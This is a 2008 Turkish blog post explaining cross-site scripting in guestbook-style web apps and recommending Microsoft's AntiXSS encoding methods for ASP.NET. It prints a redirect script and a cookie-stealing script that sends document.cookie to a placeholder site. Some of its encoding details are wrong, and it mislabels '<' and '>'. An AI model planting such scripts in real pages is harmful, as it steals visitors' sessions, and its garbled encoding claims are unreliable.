Özkan Kaya
Bilgiye sahip olarak doğmuş birisi değilim. Öğretmeyi seviyorum ve öğrenmeye çalışıyorum.

Cross Site Scription (XSS)

Salı, 9 Aralık 2008 17:31 by ozkankaya
web uygulamalarında kullanıcıdan alınan bilgi olduğu gibi veritabanına kaydediliyorsa ve aynı şekilde veritabanındanda alınıp kullanıcıya sunuluyorsa kötü niyetli kodların istemci tarafından çalıştırılması muhtemeldir.

En bariz görünen örnekleri uygulamalardaki ziyaretçi defteri bölümleridir. Örneğin,

Örneğin bir ziyaretçi defteri doldururken mesaj kısmına

<script> location.href= ‘http://www.siteadi.com’;</script>

Gibi bir deger girilirse ve herhangi bir kontrol olmadan bu bilgi kullanıcılara gönderilirse, kullanıcılar karşılarında sizin sitenizi değil, mesajda kodlanan siteyi göreceklerdir.


Ziyaretçilerin tarayıcılarında çalıştırılan bu tür saldırılarda kullanılan bir javascript kodu ziyaretçiniz hakkındaki bilgilerinin de çalınmasına sebep olabilir.

<script>
     document.location='http://www.siteadi.com/sayfa.aspx?tag=' + this.document.cookie
</script>

gibi bir script sitenizi ziyaret eden her kullanıcının oturum bilgilerini script'de adi gecen siteye gönderir. Bundan sonrasındada ele geçirilen bilgiler çeşitli amaçlar doğrultusunda kullanılabilir.

ASP.NET geliştiricileri bu konuda diğer web geliştiricilerinden biraz daha şanslı. Çünkü, “<” ve “>” karakterleri içinde gelen bilgi “Potansiyel Tehlikeli Bilgi” olarak algılanır ve sistem bu konuda hata verir.

Ancak içerik geliştirmeye yönelik uygulamalarda çok sayıda html kodu üreten kontroller kullanılmaktadır. Bu tür kontrollerde ASP.NET geliştiricisinin kullandığı sayfasının başına ValidateRequest="false" gibi bir kodu eklemesi zorunluluğu getirmektedir. Bu da XSS saldırılarına açık kapı bırakmaktadır.
 

Buraya kadar hep HTML kodları arasına sızan tekinklerden bahsettik, fakat kullanıcıdan alınan bilgi ile oluşturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabilir.

Bu tür saldırıları önlemek için  “Microsoft Anti-Cross Site Scripting Library” kütüphanesini kullanacağız.

http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en adresinden temin edebilirsiniz.

Microsoft.Application.Security.AntiXSS namespace’inden ulaşabileceğimiz 7 adet static metod bize bu saldırıların önüne geçmemizde yardımcı olacaktır

Metodlar;

    * HtmlEncode
    * HtmlAttributeEncode
    * JavaScriptEncode
    * UrlEncode
    * VisualBasicScriptEncode
    * XmlEncode
    * XmlAttributeEncode


Yukaridaki metodlari kullanarak olusacak scriptlerin dogrudan çalışması engellenilir. Bu metodlar sonucu  “)“ işareti \x27 ye , “;” işareti \x29 a ve diğer zararlı karakterlerde Javascript’in karşılıklarına çevrilir. Bu kodlar çalıştırılamaz ama aynı karaktersel değerleini korurlar.

AntiXSS kütüphanesinin belli başlı karakterleri encode eder.  Bunlar büyüktür “<” , küçüktür “>” , ampersand “&” ,  çift tırnak “"” ve ascii değeri 160-255 arası olan karakterlerdir.
Tags:   , , ,
Categories:   Makaleler
Actions:   E-mail | del.icio.us | Permalink | Yorumlar (0) | Comment RSSRSS comment feed